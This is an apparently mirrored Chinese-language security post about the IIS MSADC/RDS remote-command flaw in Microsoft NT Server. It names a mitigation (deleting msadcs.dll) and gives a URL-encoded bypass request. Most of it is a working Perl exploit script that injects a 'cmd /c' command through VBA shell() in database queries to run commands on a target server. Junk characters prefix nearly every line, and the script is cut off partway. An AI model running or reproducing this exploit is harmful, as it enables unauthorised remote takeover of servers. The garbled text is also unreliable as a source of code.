IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
v>N*f~n eKZS_Q d 涉及程序:
M^>l>?#rl Microsoft NT server
oK$Krrs0& #M5d,%?+#[ 描述:
t)rPXvx}! 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
nHRk2l| Mc!LC
.8 详细:
c27(en( 如果你没有时间读详细内容的话,就删除:
D5f[: c:\Program Files\Common Files\System\Msadc\msadcs.dll
fNfa.0s 有关的安全问题就没有了。
jzBW'8 t1yOAbI 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
i]k)wr( v(.mM9> 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
W)Y`8&, 关于利用ODBC远程漏洞的描述,请参看:
_p0Yhju? IP#vfM http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ii[U% oOI0q_bf 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
>VIFQ\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp |U{~t<BF# ~"`e9Im 这里不再论述。
ZOV,yuD{8{ Fh)xm* u( 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
PA,aYg0f #`|Nm3b /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
JX5/PCO 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
^z)De+,!4 Fik;hB &M?b08 #将下面这段保存为txt文件,然后: "perl -x 文件名"
}9\6!GY0 "]]LQb$ #!perl
C;JW\J~W #
#!O)-dyF # MSADC/RDS 'usage' (aka exploit) script
oz=ULPZ%
#
us|Hb # by rain.forest.puppy
d"-I^|[OM #
kK4a;j.# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
hizM}d-"C # beta test and find errors!
hIqU idJod u,8)M'UU use Socket; use Getopt::Std;
ZJ2
MbV.6 getopts("e:vd:h:XR", \%args);
tP! %(+V v4|TQ8!wR print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
|-S!)iG1V !zOj`lx if (!defined $args{h} && !defined $args{R}) {
&K'*67h print qq~
P<&bAsje Usage: msadc.pl -h <host> { -d <delay> -X -v }
y$-@|M$GG -h <host> = host you want to scan (ip or domain)
yD& Y`f# -d <seconds> = delay between calls, default 1 second
71[?AmxV -X = dump Index Server path table, if available
JGvhw,g -v = verbose
Iv -e = external dictionary file for step 5
AzJ;EtR T_Tu>wQX Or a -R will resume a command session
r?[[.zm"7 dYD;Z<l ~; exit;}
zL+t&P[\ $ dI
mA $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
084Us
s if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8~Zw" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
1HNP@9ga if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3\P*"65 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*Lz'<=DLoW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
b3>zdS]Q 9b=0
4aWHm if (!defined $args{R}){ $ret = &has_msadc;
N5zWeFq@6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
w]qM
^ICSh8C print "Please type the NT commandline you want to run (cmd /c assumed):\n"
g9^\QYh! . "cmd /c ";
? Pi|`W $in=<STDIN>; chomp $in;
o S%(~])\ $command="cmd /c " . $in ;
,h1\PT9ULY U'F}k0h?\' if (defined $args{R}) {&load; exit;}
1QA/ !2E I^f|U print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
EmO[-W|2 &try_btcustmr;
=TEe:%mN *V:U\G print "\nStep 2: Trying to make our own DSN...";
3t+{~{Dj &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
6|q"lS*$S &D[M<7T print "\nStep 3: Trying known DSNs...";
fgL"\d} &known_dsn;
.?3roQ q['D?)sy print "\nStep 4: Trying known .mdbs...";
_I; hM &known_mdb;
Ww8U{f #FAW@6QG if (defined $args{e}){
U}X'RCM print "\nStep 5: Trying dictionary of DSN names...";
ejR$N!LL &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
-eK0 +beQ l]&A5tz3 print "Sorry Charley...maybe next time?\n";
T7mT:z>: exit;
ZMMx)}hS t*Ro2QZ ##############################################################################
cu?6\@cD vgtAJp+p* sub sendraw { # ripped and modded from whisker
5s^vC2$) sleep($delay); # it's a DoS on the server! At least on mine...
B0yGr\KJ my ($pstr)=@_;
1&e8vVN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
S6bYd` die("Socket problems\n");
7QRkXs if(connect(S,pack "SnA4x8",2,80,$target)){
Sg*+! select(S); $|=1;
n0g8B print $pstr; my @in=<S>;
DhXV=Qw select(STDOUT); close(S);
h 27f0x9 return @in;
+QP(ATdM } else { die("Can't connect...\n"); }}
Zxh<pd25Y P=l 7m*m ##############################################################################
JJ9R,
8n6 v[V7$.%5Q sub make_header { # make the HTTP request
<!F".9c@A my $msadc=<<EOT
~BMUea( POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
wHh6y? g\ User-Agent: ACTIVEDATA
}{)Rnb@
> Host: $ip
w)&?9?~ Content-Length: $clen
A?ho<@^ Connection: Keep-Alive
o2[$XONTl yhrjML2K ADCClientVersion:01.06
I51I(QF= Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
(I/iD.A @WNqD*)1 --!ADM!ROX!YOUR!WORLD!
%+/Dv Content-Type: application/x-varg
3aU5rbi|B Content-Length: $reqlen
o`G6! 0s79rJ EOT
_D$1CaAYo ; $msadc=~s/\n/\r\n/g;
m_.9PZ return $msadc;}
5zh6l+S[ >@Pw{Zh$ ##############################################################################
_]-8gr-T R+z'6&/ =I sub make_req { # make the RDS request
xojt s;n
my ($switch, $p1, $p2)=@_;
m#[9F']Z` my $req=""; my $t1, $t2, $query, $dsn;
'#SZ|Rr6tX maeQ'Sv_& if ($switch==1){ # this is the btcustmr.mdb query
cQ'x]u_ $query="Select * from Customers where City=" . make_shell();
'n=bQ"bQu $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~!=Am:-wr $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/GX>L) |}UA=? Xl elsif ($switch==2){ # this is general make table query
9yaTDxB> $query="create table AZZ (B int, C varchar(10))";
EIfqRRTA $dsn="$p1";}
{~w( pAx -v-kFzu elsif ($switch==3){ # this is general exploit table query
d2d8,Vg $query="select * from AZZ where C=" . make_shell();
`wZ $dsn="$p1";}
#-PMREgO &iZt(XD elsif ($switch==4){ # attempt to hork file info from index server
)B+R|PZ, $query="select path from scope()";
Na@;F{ $dsn="Provider=MSIDXS;";}
}V*?~.R 7VG*Wu elsif ($switch==5){ # bad query
M$Bb,s $query="select";
Wp+lI1t $dsn="$p1";}
zyO=x4U8 E_I-.o| $t1= make_unicode($query);
S=lCzL;j" $t2= make_unicode($dsn);
cvo+{u$s $req = "\x02\x00\x03\x00";
rsa_)iBC $req.= "\x08\x00" . pack ("S1", length($t1));
e$_gOwB $req.= "\x00\x00" . $t1 ;
60]VOQku $req.= "\x08\x00" . pack ("S1", length($t2));
ju3@F8AI $req.= "\x00\x00" . $t2 ;
jSM`bE+" $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
q,<l3r In return $req;}
""
>Yw/' \y%"tJ~N{ ##############################################################################
bcjh3WP %rJDpB{ sub make_shell { # this makes the shell() statement
G6qZ>-GiL return "'|shell(\"$command\")|'";}
.P7q)lj36h &WLN ##############################################################################
jnbR}a=fJ B~k{f} sub make_unicode { # quick little function to convert to unicode
!/tV}.* my ($in)=@_; my $out;
("PZ!z1m1 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
X@}7 #Vt return $out;}
0^Vw^]w 74:( -vS ##############################################################################
>yLDU_P) TTl9xs,nO sub rdo_success { # checks for RDO return success (this is kludge)
}~=<7|N. my (@in) = @_; my $base=content_start(@in);
<9"@<[[, if($in[$base]=~/multipart\/mixed/){
p>\[[Md return 1 if( $in[$base+10]=~/^\x09\x00/ );}
37:tu7e~c return 0;}
H)E,([ N0}[&rE 8 ##############################################################################
=WI3#<vDG &&52ji<3 sub make_dsn { # this makes a DSN for us
tDah@_ my @drives=("c","d","e","f");
==?%]ZE8 print "\nMaking DSN: ";
T+~&jC:{ foreach $drive (@drives) {
c(vi,U-hC print "$drive: ";
^Ss<< my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
1|-C(UW> "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
[.Md_ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
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